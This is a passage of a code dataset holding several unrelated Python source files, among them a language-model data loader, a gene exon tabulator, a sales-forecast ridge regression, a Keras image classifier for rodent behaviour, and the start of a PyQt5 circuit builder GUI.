self.max_seq_len\n i = 0\n safety = 2 if self.training else 1\n with open(self.filecache, 'rb') as fp:\n while i < max_seq_len - safety:\n seq_len = self.seq_len()\n seq_len = min(seq_len, max_seq_len - 1 - i)\n data = []\n for j in range(batch_size):\n data.append(self._read_chunk(fp, max_seq_len * j + i, seq_len + 1))\n data = torch.LongTensor(data)\n data.transpose_(0, 1)\n data, targets = data[:seq_len, :], data[1:, :]\n yield data, targets.contiguous().view(-1)\n i += seq_len\n\n def estimate_num_batches(self, seq_len=None):\n if not seq_len:\n seq_len = self.seq_len()\n return self.max_seq_len // seq_len\n\n @property\n def max_seq_len(self):\n max_seq_len = self.num_tokens // self.batch_size\n return max_seq_len\n\n @staticmethod\n def _read_chunk(fp, offset, length):\n data = []\n fp.seek(offset * 4)\n for i in range(length):\n id = int.from_bytes(fp.read(4), 'little')\n data.append(id)\n return data\n\n def _debug_load_cache(self):\n with open(self.filecache, 'rb') as src:\n ids = []\n for i in range(self.num_tokens):\n id = int.from_bytes(src.read(4), 'little')\n ids.append(id)\n return torch.LongTensor(ids)\n\n @property\n def filecache(self):\n return file_cache(self.data)[0]\n","repo_name":"emorynlp/elit","sub_path":"elit/datasets/lm/lm_dataset.py","file_name":"lm_dataset.py","file_ext":"py","file_size_in_byte":4978,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"37"} +{"seq_id":"28780523394","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Mar 28 20:37:27 2022\r\n\r\n@author: sauba\r\n\"\"\"\r\n\r\nimport os\r\n\r\n\r\ngene_list = [\"0.Yellow_c\",\"0.Yellow_c_copy1\",\"0.Yellow_c_copy2\",\r\n \"1.Yellow\",\"1.Yellow_copy1\",\"1.Yellow_copy2\",\r\n \"2.Yellow_b\",\"2.Yellow_b_copy1\",\"2.Yellow_b_like1\",\"2.Yellow_b_like2\",\"2.Yellow_b_like3\",\"2.Yellow_b_like4\",\r\n \"3.Yellow_d\",\"3.Yellow_d_copy1\",\"3.Yellow_d_copy2\",\"3.Yellow_d_copy3\",\"3.Yellow_d_copy4\",\r\n \"3.Yellow_d_copy5\",\"3.Yellow_d_copy6\",\"3.Yellow_d_copy7\",\"3.Yellow_d_copy8\",\"3.Yellow_d_copy9\",\"3.Yellow_d_copy10\",\"3.Yellow_d_copy11\",\r\n \"4.Yellow_e\",\"4.Yellow_e_Polyommatinae\",\r\n \"5.Yellow_f3\",\"5.Yellow_f3_copy1\",\"5.Yellow_f3_copy2\",\r\n \"6.Yellow_f4\",\"6.Yellow_f4_copy1\",\"6.Yellow_f4_copy2\",\r\n \"7.Yellow_h2\",\r\n \"8.Yellow_h3\",\"8.Yellow_h3_copy1\",\"8.Yellow_h3_copy2\",\r\n \"10.Yellow_Un1\",\"11.Yellow_Un2\",\"12.Yellow_Un3\"] \r\n# gene_list = [\"5.Yellow_f3\"]\r\nExon_names = [\"Exon1\",\"Exon2\",\"Exon3\",\"Exon4\",\"Exon5\",\"Exon6\",\"Exon7\",\"Exon8\",\"Exon9\",\"Exon10\",\"Exon11\",\"Exon12\"]\r\noutput = \"Gene\\tSpecies\\tExon1\\tExon2\\tExon3\\tExon4\\tExon5\\tExon6\\tExon7\\tExon8\\tExon9\\tExon10\\tExon11\\tExon12\"\r\n\r\nfor gene in gene_list:\r\n gene_folder_content_all = os.listdir(\"C:/Users/sauba/Desktop/Work_Stuff/MRJP/Genes/3.Extracted/\"+gene)\r\n gene_folder_content = []\r\n for i in gene_folder_content_all:\r\n # print(os.path.isdir(\"C:/Users/sauba/Desktop/Work_Stuff/MRJP/Genes/3.Extracted/\"+gene+\"/\"+i))\r\n if os.path.isdir(\"C:/Users/sauba/Desktop/Work_Stuff/MRJP/Genes/3.Extracted/\"+gene+\"/\"+i):\r\n gene_folder_content.append(i)\r\n gene_folder_content_sorted = sorted(gene_folder_content, key=lambda x: int(x.split('.')[0])) \r\n gene_folder_content = gene_folder_content_sorted \r\n # print(gene_folder_content)\r\n # break\r\n \r\n \r\n species_exon_detail = {}\r\n \r\n for content in gene_folder_content:\r\n \r\n sequence_files_all = os.listdir(\"C:/Users/sauba/Desktop/Work_Stuff/MRJP/Genes/3.Extracted/\"+gene+\"/\"+content)\r\n # print(type(sequence_files_all))\r\n for sequence_files_names in sequence_files_all:\r\n if \"0.e\" not in sequence_files_names and \"names\" not in sequence_files_names and \"old\" not in sequence_files_names and \"0.combined\" not in sequence_files_names and \"0.Exon\" not in sequence_files_names:\r\n species = sequence_files_names.split(\"Exon\")[0][:-1]\r\n # print(species)\r\n if species not in species_exon_detail:\r\n species_exon_detail[species]= [\"NO\"]*(int(gene_folder_content[-1].split(\"Exon\")[1]))\r\n # print(species_exon_detail[species][1]) \r\n # print(int(sequence_files_names.split(\"Exon\")[1].split(\".\")[0]))\r\n # print(gene,species, sequence_files_names)\r\n species_exon_detail[species][int(sequence_files_names.split(\"Exon\")[1].split(\".\")[0])-1] = \"Yes\"\r\n # print(species_exon_detail)\r\n # break\r\n # print(species_exon_detail)\r\n for key, value in species_exon_detail.items():\r\n # print (key,value)\r\n output = output +\"\\n\"+ str(gene+\"\\t\"+key+\"\\t\")\r\n for i in value:\r\n output = output+str(i+\"\\t\")\r\n # print(output)\r\n # break\r\n\r\nwith open(\"C:/Users/sauba/Desktop/Work_Stuff/MRJP/Genes/4.Complete_details/Exon_details.tsv\",'w') as output_file:\r\n output_file.write(output)\r\n # break\r\n \r\n \r\n \r\n \r\n \r\n ","repo_name":"saurav-baral/Python_codes","sub_path":"Exons_tester.py","file_name":"Exons_tester.py","file_ext":"py","file_size_in_byte":3596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37958671587","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.linear_model import Ridge\n\nclass LstmMethod():\n\n def __init__(self,training_data,size_of_window):\n self.size_of_window=size_of_window\n self.training_data=training_data\n self.size_of_data=len(training_data)\n self.new_training_data=[]\n self.new_labels=[]\n self.testing_data=[[]]\n for i in range(self.size_of_data-self.size_of_window):\n temp=[]\n for j in range(self.size_of_window):\n temp.append(self.training_data[i+j])\n self.new_training_data.append(temp)\n self.new_labels.append(self.training_data[i+self.size_of_window])\n for i in range(self.size_of_window):\n self.testing_data[0].append(self.training_data[self.size_of_data-self.size_of_window+i])\n\n def ridge_regression(self):\n classifier = Ridge()\n classifier.fit(self.new_training_data, self.new_labels)\n prediction = classifier.predict(self.testing_data)\n return prediction\n\n\ndef mse(prediction,test): # Mean Square Error\n sum=0\n n=len(prediction)\n for i in range(n):\n sum+=((prediction[i]-test[i])**2)\n return sum/n\n\ndatafile = np.genfromtxt('Sales_Transactions_Dataset_Weekly.csv', delimiter=',') #Reading the data file\ndatafile2 = pd.read_csv(\"Sales_Transactions_Dataset_Weekly.csv\")\nproduct_codes = datafile2['Product_Code'].values\ntraining_data = datafile[1:, 1:52] #Keeping Week 0 to 50's data for training\ntesting_data=datafile[1:, 52:53] #Keeping Week 51's data for testing\ntesting_data=[item[-1] for item in testing_data] #converting the weekly data into an array\n\n\nnumber_of_products,week_number=np.shape(training_data)\n\n#lstm and regression\nminimum_error=float('inf')\nminimum_w=0\nminimum_error_predicted_data=[]\nfor w in range(2,51):\n pred_data=[]\n for i in range(number_of_products):\n object=LstmMethod(training_data[i],w) #creating the object for calling ridge regression\n pred_data.append(object.ridge_regression())\n error=mse(pred_data,testing_data)\n #updating the minimum error with the current error if it is the smallest\n if error 0 and remain_weight >= truck_weights[0]:\n remain_weight -= truck_weights[0]\n remain_length.append(bridge_length - 1)\n crossing.append(truck_weights.pop(0))\n\n for length in remain_length:\n length -= 1\n\n for i in range(len(remain_length)):\n remain_length[i] -= 1\n\n return answer\n\n\nif __name__ == \"__main__\":\n print(solution(2, 10, [7, 4, 5, 6]))\n print(solution(100, 100, [10]))\n","repo_name":"SimHongSub/Algorithm","sub_path":"programmers/bridge_crossing_truck.py","file_name":"bridge_crossing_truck.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"27346992806","text":"from dotenv import load_dotenv\n\nimport os\n\ndotenv_path = os.path.join(os.path.dirname(__file__), '.env')\nif os.path.exists(dotenv_path):\n load_dotenv(dotenv_path)\n\n\nclass Config:\n SECRET_KEY = os.environ.get('SECRET_KEY') or 'hard to guess string'\n SSL_REDIRECT = False\n UPLOAD_FOLDER = \"/Users/MDRAHALI/Desktop/Learning_Roadmap/social-network-platform/static/images\"\n STATIC_IMAGE_URL = \"images\"\n HOSTNAME = \"0.0.0.0:5000\"\n AWS_BUCKET = \"social-network-img-upload-aws-s3\"\n AWS_CONTENT_URL = \"https://s3-us-west-2.amazonaws.com\"\n MONGODB_HOST = 'mongodb'\n\n\nclass DevelopmentConfig(Config):\n DEBUG = True\n MONGODB_NAME = os.environ.get('MONGODB_DEV_NAME')\n AWS_SEND_MAIL = False\n\n\nclass TestingConfig(Config):\n TESTING = True\n DEBUG = True\n MONGODB_NAME = os.environ.get('MONGODB_TEST_NAME')\n WTF_CSRF_ENABLED = False\n\n\nclass ProductionConfig(Config):\n MONGODB_NAME = os.environ.get('MONGODB_PROD_NAME')\n\n\nconfig = {\n 'development': DevelopmentConfig,\n 'testing': TestingConfig,\n 'production': ProductionConfig,\n\n 'default': DevelopmentConfig\n}\n","repo_name":"MDRCS/social-network-platform","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"3036115205","text":"def CreateBinaryModel(PathSubFolderToAnalyze):\r\n #Dans testing, le dossier jeu d'images positif et le négatif\r\n #images numérotées dans l'ordre croissant\r\n #\r\n from tensorflow import keras\r\n from tensorflow.keras.preprocessing import image as ImageKeras\r\n from tensorflow.keras.preprocessing.image import ImageDataGenerator\r\n from tensorflow.keras.preprocessing.image import load_img, img_to_array\r\n from tensorflow.keras.optimizers import RMSprop\r\n import tensorflow as tf\r\n import matplotlib.pyplot as plt\r\n import csv\r\n import cv2\r\n import os\r\n import numpy as np\r\n import pandas as pd\r\n import sys\r\n from timeit import default_timer as timer\r\n ######################\r\n # SOUS-FONCTIONS #####\r\n def AddResultLine(line):\r\n print(line)\r\n with open(PathSubFolderToAnalyze + '/Results.csv', 'a') as results_file:\r\n results_file.write(line + '\\n')\r\n ################\r\n # SCRIPT #######\r\n # Initialisation\r\n pathdatabase = os.path.join(PathSubFolderToAnalyze, 'database')\r\n # Récupération des emplacements des dossiers présents dans pathdatabase\r\n folders = [os.path.join(pathdatabase, folder) for folder in os.listdir(pathdatabase) if os.path.isdir(os.path.join(pathdatabase, folder))]\r\n # Modification des noms de dossier et élimination des trois dernières lettres\r\n FoldersWithoutPOSNEG = [folder[:-3] for folder in folders]\r\n # Élimination des doublons en utilisant un ensemble (set)\r\n unique_behavs = list(set(FoldersWithoutPOSNEG))\r\n unique_behavs = [os.path.basename(unique_behav) for unique_behav in unique_behavs]\r\n open(PathSubFolderToAnalyze + '/Results.csv', 'w').close()# servira à stocker les résultats\r\n #\r\n # Pour chaque comportement et anticomportement dans la database\r\n for unique_behav in unique_behavs:\r\n pathssubfolders = []\r\n subfolders = [str(unique_behav + \"POS\"), str(unique_behav + \"NEG\")]\r\n for subfolder in subfolders:\r\n pathsubfolder = os.path.join(pathdatabase, subfolder)\r\n if os.path.isdir(pathsubfolder):\r\n pathssubfolders.append(pathsubfolder)\r\n subfoldersfiles = []\r\n for pathsubfolder in pathssubfolders:\r\n temp = os.listdir(pathsubfolder)\r\n for subfolderfile in temp:\r\n subfoldersfiles.append(os.path.join(pathsubfolder, subfolderfile))\r\n subfolder = []\r\n pathframe = []\r\n print(\"df\")\r\n for pathsubfolderfile in subfoldersfiles:\r\n subfolder.append(os.path.basename(os.path.dirname(pathsubfolderfile)))\r\n pathframe.append(pathsubfolderfile)\r\n df = pd.DataFrame({\r\n 'subfolder': subfolder,\r\n 'pathsubfolderfile': pathframe\r\n })\r\n df = df.sample(frac=1)# Mélanger aléatoirement les lignes du DataFrame\r\n df = df.reset_index(drop=True)\r\n print(df)\r\n # Enregistrer le DataFrame en tant que fichier CSV dans le dossier actif\r\n df.to_csv(os.path.join(PathSubFolderToAnalyze, 'EmplacementsImagesPourModele.csv'), index=False, sep=';')\r\n #\r\n ##############\r\n #\r\n i = 0\r\n while i < 1:# //!\\\\ Va effectuer n itération(s) //!\\\\\r\n start = timer()\r\n ##################################################################################################\r\n # Choisir de réutiliser (True), ou non (False), le même jeu de données sélectionné aléatoirement #\r\n ReuseTheSameAleatoryDataSample = False\r\n ##################################################################################################\r\n if ReuseTheSameAleatoryDataSample == True:\r\n AddResultLine(\"ReuseTheSameAleatoryDataSample\")\r\n if os.path.isfile(os.path.join(PathSubFolderToAnalyze, \"EmplacementsImagesPourModele.csv\")):\r\n df = pd.read_csv(os.path.join(PathSubFolderToAnalyze, 'EmplacementsImagesPourModele.csv'), sep=';')# Récupérer le fichier CSV dans un nouveau DataFrame\r\n else: \r\n df = df.sample(frac=1)# Mélanger aléatoirement les lignes du DataFrame\r\n df = df.reset_index(drop=True)\r\n df = pd.read_csv(os.path.join(PathSubFolderToAnalyze, 'EmplacementsImagesPourModele.csv'), sep=';')# Récupérer le fichier CSV dans un nouveau DataFrame\r\n else:\r\n AddResultLine(\"DoNotReuseTheSameAleatoryDataSample\")\r\n df = df.sample(frac=1)# Mélanger aléatoirement les lignes du DataFrame\r\n df = df.reset_index(drop=True)\r\n df = pd.read_csv(os.path.join(PathSubFolderToAnalyze, 'EmplacementsImagesPourModele.csv'), sep=';')# Récupérer le fichier CSV dans un nouveau DataFrame\r\n ##################################################################################################\r\n # dfPOS\r\n dfPOS = df.loc[df['subfolder'] == str(unique_behav) + 'POS'].reset_index(drop=True)# Réinitialiser les index du DataFrame\r\n dfPOSPrompt=\"dfPOS, longueur\"+';'+str(len(dfPOS))+';'+\"NbClasses\"+';'+str(dfPOS['subfolder'].nunique())\r\n AddResultLine(dfPOSPrompt)\r\n # dfNEG\r\n dfNEG = df.loc[df['subfolder'] == str(unique_behav) + 'NEG'].reset_index(drop=True)# Réinitialiser les index du DataFrame\r\n dfNEGPrompt=\"dfNEG, longueur\"+';'+str(len(dfNEG))+';'+\"NbClasses\"+';'+str(dfNEG['subfolder'].nunique())\r\n AddResultLine(dfNEGPrompt)\r\n N = int(min(len(dfPOS),len(dfNEG)))\r\n print(\"N\" + str(N))\r\n t = int(min(0.1*N, 100))# pourcentages 60 30 10\r\n print(\"t\" + str(t))\r\n T = int((3/4)*(N-t))\r\n print(\"T\" + str(T))\r\n V = int(T/3)\r\n print(\"V\" + str(V))\r\n if T <= 0:\r\n print(\"Pas assez d'images !\")\r\n break\r\n # dftraining\r\n dftraining = pd.concat([dfPOS.iloc[:T], dfNEG.iloc[:T]], ignore_index=True)\r\n dftraining = dftraining.reset_index(drop=True)\r\n dftrainingPrompt=\"dftraining, longueur\"+';'+str(len(dftraining))+';'+\"NbClasses\"+';'+str(dftraining['subfolder'].nunique())\r\n AddResultLine(dftrainingPrompt)\r\n dftrainingNbPOS=\"dftrainingNbPOS\"+';'+str(dftraining['subfolder'].value_counts()[str(unique_behav) + 'POS'])\r\n AddResultLine(dftrainingNbPOS)\r\n dftrainingNbNEG=\"dftrainingNbNEG\"+';'+str(dftraining['subfolder'].value_counts()[str(unique_behav) + 'NEG'])\r\n AddResultLine(dftrainingNbNEG)\r\n # dfvalidation\r\n dfvalidation = pd.concat([dfPOS.iloc[T:T+V], dfNEG.iloc[T:T+V]], ignore_index=True)\r\n dfvalidation = dfvalidation.reset_index(drop=True)\r\n dfvalidationPrompt=\"dfvalidation, longueur\"+';'+str(len(dfvalidation))+';'+\"NbClasses\"+';'+str(dfvalidation['subfolder'].nunique())\r\n AddResultLine(dfvalidationPrompt)\r\n dfvalidationNbPOS=\"dfvalidationNbPOS\"+';'+str(dfvalidation['subfolder'].value_counts()[str(unique_behav) + 'POS'])\r\n AddResultLine(dfvalidationNbPOS)\r\n dfvalidationNbNEG=\"dfvalidationNbNEG\"+';'+str(dfvalidation['subfolder'].value_counts()[str(unique_behav) + 'NEG'])\r\n AddResultLine(dfvalidationNbNEG)\r\n # dftesting\r\n dftesting = pd.concat([dfPOS.iloc[T+V:T+V+t], dfNEG.iloc[T+V:T+V+t]], ignore_index=True)\r\n dftesting = dftesting.reset_index(drop=True)\r\n dftestingPrompt=\"dftesting, longueur\"+';'+str(len(dftesting))+';'+\"NbClasses\"+';'+str(dftesting['subfolder'].nunique())\r\n AddResultLine(dftestingPrompt)\r\n #\r\n TestingSampleSizePOS = dftesting['subfolder'].value_counts()[str(unique_behav) + 'POS']\r\n AddResultLine(\"TestingSampleSizePOS\"+';'+str(TestingSampleSizePOS))\r\n TestingSampleSizeNEG = dftesting['subfolder'].value_counts()[str(unique_behav) + 'NEG']\r\n AddResultLine(\"TestingSampleSizeNEG\"+';'+str(TestingSampleSizeNEG))\r\n #\r\n pathmodelsaved = str(os.path.join(PathSubFolderToAnalyze, str(unique_behav) + '.h5'))\r\n #\r\n #################################################################\r\n # Choisir la taille de redimensionnement des images (pixels côté)\r\n PathFirstImageTrainingToExtractShape = dftraining.loc[0, 'pathsubfolderfile']\r\n image = cv2.imread(PathFirstImageTrainingToExtractShape)\r\n FenetreHauteur, FenetreLargeur, canaux = image.shape\r\n # Définir la taille de batch\r\n batch = int(16)\r\n #################################################################\r\n #\r\n ################################\r\n # TRAINING\r\n train=ImageDataGenerator(rescale=1/255)\r\n train_dataset = train.flow_from_dataframe(dataframe=dftraining,\r\n x_col='pathsubfolderfile',\r\n y_col='subfolder',\r\n target_size=(FenetreHauteur, FenetreLargeur),\r\n batch_size=batch,# IMPORTANT //!\\\\\r\n class_mode='binary',\r\n shuffle=False)\r\n train_dataset.class_indices# Affiche des classes et leur index\r\n train_dataset.classes# Pour les images du dossier, affiche l'index de classe associé (doit être [0, 0 ... 1, 1])\r\n # VALIDATION\r\n validation=ImageDataGenerator(rescale=1/255)\r\n validation_dataset = validation.flow_from_dataframe(dataframe=dfvalidation,\r\n x_col='pathsubfolderfile',\r\n y_col='subfolder',\r\n target_size=(FenetreHauteur, FenetreLargeur),\r\n batch_size=batch,\r\n class_mode='binary',\r\n shuffle=False)\r\n #\r\n AddResultLine(\"terminé en\" + ';' + str(timer()-start) + ';' + \"secondes (mélange données)\")\r\n #\r\n # Vérification de la disponibilité du GPU pour TensorFlow\r\n from tensorflow.python.client import device_lib# Vérifier la disponibilité des GPU\r\n gpu_devices = [device.name for device in device_lib.list_local_devices() if device.device_type == \"GPU\"]\r\n print(gpu_devices)\r\n if not gpu_devices:\r\n print(\"Aucun GPU disponible. Veuillez vous assurer que CUDA et les pilotes NVIDIA sont correctement installés.\")\r\n XPUs = [\"/CPU:0\"]\r\n else:\r\n XPUs = [\"/GPU:0\"]\r\n #\r\n for XPU in XPUs:\r\n AddResultLine(XPU)\r\n #\r\n start = timer()\r\n #\r\n ############################################################\r\n # Définition de l'architecture du réseau de neurones choisie\r\n model=tf.keras.models.Sequential([\r\n tf.keras.layers.Conv2D(8,(6,6),activation='relu',input_shape=(FenetreHauteur,FenetreLargeur,3)),\r\n tf.keras.layers.MaxPool2D(2,2),\r\n tf.keras.layers.Conv2D(16,(6,6),activation='relu'),\r\n tf.keras.layers.MaxPool2D(2,2),\r\n tf.keras.layers.Conv2D(32,(6,6),activation='relu'),\r\n tf.keras.layers.MaxPool2D(2,2),\r\n tf.keras.layers.Conv2D(64,(6,6),activation='relu'),\r\n tf.keras.layers.MaxPool2D(2,2),\r\n tf.keras.layers.Conv2D(128,(6,6),activation='relu'),\r\n tf.keras.layers.MaxPool2D(2,2),\r\n tf.keras.layers.Flatten(),#=neurones en ligne\r\n tf.keras.layers.Dense(512,activation='relu'),\r\n tf.keras.layers.Dense(1,activation='sigmoid')\r\n ])\r\n #######################\r\n # Compilation du modèle\r\n model.compile(loss='binary_crossentropy',\r\n optimizer=RMSprop(learning_rate=0.001),#RootMeanSquare moy quadratique\r\n metrics=['accuracy'])\r\n AddResultLine(\"terminé en\" + ';' + str(timer()-start) + ';' + \"secondes (compilation modèle)\")\r\n #\r\n start = timer()\r\n #\r\n with tf.device(XPU):\r\n model_fit=model.fit(train_dataset,\r\n steps_per_epoch=int(N / batch),#steps_per_epoch = N images // batch_size si on veut que toutes les img soient traitées # = à chaque epoch, c'est le nombre de pas d'entraînement effectué\r\n epochs=10,#10 # Nb. de fois que le modèle va passer par l'ensemble des données\r\n validation_data=validation_dataset)\r\n AddResultLine(\"steps_per_epoch\" + ';' + str(model_fit.params['steps']))\r\n AddResultLine(\"epochs\" + ';' + str(model_fit.params['epochs']))\r\n #\r\n history = model_fit.history\r\n loss_values = history['loss']\r\n accuracy_values = history['accuracy']\r\n val_loss_values = history['val_loss']\r\n val_accuracy_values = history['val_accuracy']\r\n for epoch, accuracy, loss, val_accuracy, val_loss in zip(range(1, len(accuracy_values) + 1), accuracy_values, loss_values, val_accuracy_values, val_loss_values):\r\n AddResultLine(\"Epoch\"+';'+str(epoch)+';'+\"Loss\"+';'+ str(loss)+';'+\"Accuracy\"+';'+str(accuracy)+';'+\"ValidLoss\"+';'+str(val_loss)+';'+\"ValidAccuracy\"+';'+str(val_accuracy))\r\n #\r\n # Sauvegarde du modèle dans le dossier actif\r\n model.save(pathmodelsaved)\r\n #\r\n ################################################\r\n # Récupération du nombre de paramètres du modèle\r\n model = keras.models.load_model(pathmodelsaved)# Chargement du modèle\r\n with open(os.path.join(PathSubFolderToAnalyze, 'ModelSummary.txt'), 'w') as file:\r\n sys.stdout = file # Rediriger la sortie standard vers le fichier\r\n model.summary()\r\n sys.stdout = sys.__stdout__ # Rétablir la sortie standard\r\n with open(os.path.join(PathSubFolderToAnalyze, 'ModelSummary.txt'), 'r') as file:\r\n model_summary = file.read().splitlines()\r\n output_rows = []\r\n for line in model_summary:\r\n output_rows.append(line.split())\r\n with open(os.path.join(PathSubFolderToAnalyze, 'ModelSummary.csv'), 'w', newline='') as csvfile:\r\n writer = csv.writer(csvfile, delimiter=';')\r\n writer.writerows(output_rows)\r\n ######################\r\n ModelSummaryDf = pd.read_csv(os.path.join(PathSubFolderToAnalyze, 'ModelSummary.csv'), delimiter=' ')\r\n # Récupérer le nom de la colonne contenant 'params'\r\n col_name = None\r\n for col in ModelSummaryDf.columns:\r\n if ModelSummaryDf[col].str.contains('params:').any():\r\n col_name = col\r\n break\r\n # Récupérer df2 en filtrant les lignes avec 'params' dans la colonne appropriée\r\n if col_name is not None:\r\n ModelSummaryDf = ModelSummaryDf[ModelSummaryDf[col_name].str.contains('params:')]\r\n else:\r\n ModelSummaryDf = pd.DataFrame()# Aucune colonne ne contient 'params'\r\n # Afficher la valeur de chaque colonne pour chaque ligne\r\n for index, row in ModelSummaryDf.iterrows():\r\n ToPrompt = \"\"\r\n for col in ModelSummaryDf.columns:\r\n ToPrompt = ToPrompt + str(row[col]) + ' '\r\n AddResultLine(ToPrompt)\r\n ################################################\r\n #\r\n #\r\n AddResultLine(\"Model saved.\")\r\n AddResultLine(\"terminé en\" + ';' + str(timer()-start) + ';' + \"secondes\")\r\n start = timer()\r\n #\r\n #\r\n # Applique le modèle une fois entraîné sur les données de testing\r\n #############\r\n threshold=0.1 # Seuil de sensibilité de détection | Seuil = 0.5 | Si diminué, alors + tolérant.\r\n AddResultLine(\"threshold\" + ';' + str(threshold))\r\n #############\r\n model = keras.models.load_model(pathmodelsaved)# Chargement du modèle\r\n model.summary()# Résumé du modèle\r\n # TheTestingArrayFace\r\n TheTestingArrayPOS = dftesting.loc[dftesting['subfolder'] == str(unique_behav) + 'POS']\r\n print(\"TheTestingArrayPOS créé, de longueur \" + str(len(TheTestingArrayPOS)) + \", et \" + str(TheTestingArrayPOS['subfolder'].nunique()) + \" classe(s).\")\r\n TheTestingArrayPOS = TheTestingArrayPOS['pathsubfolderfile'].tolist()\r\n # TheTestingArrayNoFace\r\n TheTestingArrayNEG = dftesting.loc[dftesting['subfolder'] == str(unique_behav) + 'NEG']\r\n print(\"TheTestingArrayNEG créé, de longueur \" + str(len(TheTestingArrayNEG)) + \", et \" + str(TheTestingArrayNEG['subfolder'].nunique()) + \" classe(s).\")\r\n TheTestingArrayNEG = TheTestingArrayNEG['pathsubfolderfile'].tolist()\r\n ############################\r\n for TestingArray in (TheTestingArrayPOS, TheTestingArrayNEG):\r\n TestingSampleSizePOSDetected = 0\r\n TestingSampleSizeNEGDetected = 0\r\n for frame in TestingArray:\r\n img = ImageKeras.load_img(str(frame), target_size=(FenetreHauteur, FenetreLargeur))\r\n X=ImageKeras.img_to_array(img)\r\n X=np.expand_dims(X,axis=0)\r\n images=np.vstack([X])\r\n val=model.predict(images)\r\n if val < threshold:\r\n TestingSampleSizePOSDetected += 1\r\n else:\r\n TestingSampleSizeNEGDetected += 1\r\n pos = str(int((TestingSampleSizePOSDetected / TestingSampleSizePOS)*t))\r\n neg = str(int((TestingSampleSizeNEGDetected / TestingSampleSizeNEG)*t))\r\n print(\"pos \",pos,\" neg \",neg)\r\n # Afficher les noms des variables\r\n ArrayTested = \"\"\r\n if TestingArray is TheTestingArrayPOS:\r\n ArrayTested = \"TheTestingArrayPOS\"\r\n if TestingArray is TheTestingArrayNEG:\r\n ArrayTested = \"TheTestingArrayNEG\"\r\n AddResultLine(str(ArrayTested) + ';' + pos + ';' + neg)\r\n #\r\n AddResultLine(\"terminé en\" + ';' + str(timer()-start) + ';' + \"secondes\")\r\n #\r\n DeleteModelAtTheEnd = False\r\n if DeleteModelAtTheEnd == True:\r\n os.remove(pathmodelsaved)\r\n i += 1\r\n if os.path.exists(os.path.join(PathSubFolderToAnalyze, 'EmplacementsImagesPourModele.csv')):\r\n os.remove(os.path.join(PathSubFolderToAnalyze, 'EmplacementsImagesPourModele.csv'))\r\n if os.path.exists(os.path.join(PathSubFolderToAnalyze, 'ModelSummary.csv')):\r\n os.remove(os.path.join(PathSubFolderToAnalyze, 'ModelSummary.csv'))\r\n if os.path.exists(os.path.join(PathSubFolderToAnalyze, 'ModelSummary.txt')):\r\n os.remove(os.path.join(PathSubFolderToAnalyze, 'ModelSummary.txt'))","repo_name":"beesixtwelvian/RodentPainTracker","sub_path":"RodentPainTracker/CreateBinaryModel/CreateBinaryModel.py","file_name":"CreateBinaryModel.py","file_ext":"py","file_size_in_byte":20417,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4473917359","text":"def uniqueElements(array):\n uniqueArray = []\n for index in range(len(array)):\n found = False\n for uniqueIndex in range(len(array)):\n if index != uniqueIndex:\n if array[uniqueIndex] == array[index]:\n found = True\n if found == False:\n uniqueArray.append(array[index])\n return uniqueArray\n\narray = [2, 3, 2, 5, 8, 1, 9, 8]\nprint(f\"Array: {array}\")\nprint(f\"Unique elements: {uniqueElements(array)}\")","repo_name":"JakubIwaszek/PythonHomeworks","sub_path":"06Arrays/ex19.py","file_name":"ex19.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22848930829","text":"import math\nimport ttg\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom main_widget import MainScreenWidget\nfrom configuration import *\n\nmime_type = \"application/x-item\"\n\nclass CircuitBuilder(QMainWindow):\n def __init__(self, main_window):\n '''\n This is the main circuit builder class; this initilaizes\n the canvas we see on screen.\n main_window: Main GeneTech window from which the circuit builder is called\n '''\n super().__init__()\n self.main_window = main_window\n self.file_name_image = None\n self.tool_name = 'GeneTech'\n self.plugin_name = 'Circuit Builder'\n self.loadStylesheet(\"./icons/ssheet.qss\")\n self.initUI()\n self.show()\n\n def loadStylesheet(self, filename):\n '''\n Loads the style sheet at {filename}\n '''\n file = QFile(filename)\n file.open(QFile.ReadOnly | QFile.Text)\n stylesheet = file.readAll()\n QApplication.instance().setStyleSheet(str(stylesheet, encoding='utf-8'))\n\n def initUI(self):\n '''\n Helper function to set some flags and overall user interface\n of the canvas\n '''\n self.setGeometry(100, 100, 800, 600)\n self.__title = \"GeneTech - Circuit Builder\"\n self.setWindowTitle(self.__title)\n self.setWindowIcon(QIcon('./icons/SmallLogo.png'))\n #This is to initialize a multi window comprising of drawing like canvas\n self.mdiArea = QMdiArea()\n self.mdiArea.setHorizontalScrollBarPolicy(Qt.ScrollBarAsNeeded)\n self.mdiArea.setVerticalScrollBarPolicy(Qt.ScrollBarAsNeeded)\n self.mdiArea.setViewMode(QMdiArea.TabbedView)\n self.mdiArea.setDocumentMode(True)\n self.mdiArea.setTabsClosable(True)\n self.mdiArea.setTabsMovable(True)\n self.setCentralWidget(self.mdiArea)\n self.mdiArea.subWindowActivated.connect(self.updateMenus)\n self.windowMapper = QSignalMapper(self)\n self.windowMapper.mapped[QWidget].connect(self.setActiveSubWindow)\n self.createActions()\n self.createMenus()\n self.createToolBars()\n self.createStatusBar()\n self.updateMenus()\n self.createNodesDock()\n self.readSettings()\n\n def closeEvent(self, event):\n '''\n This function is an event responsible for closing the window, and\n showing the main GeneTech window. It also writes the position and\n size of the window so the same is loaded next time.\n '''\n self.mdiArea.closeAllSubWindows()\n if self.mdiArea.currentSubWindow():\n event.ignore()\n else:\n self.writeSettings()\n self.main_window.show()\n event.accept()\n\n def updateMenus(self):\n pass\n\n def createActions(self):\n '''\n All the actions that appear in the toolbar on the top.\n '''\n #This saves the circuit as an image\n self.capture_action = QAction(\"Save Image\", self)\n self.capture_action.setShortcut(\"Ctrl+S\")\n 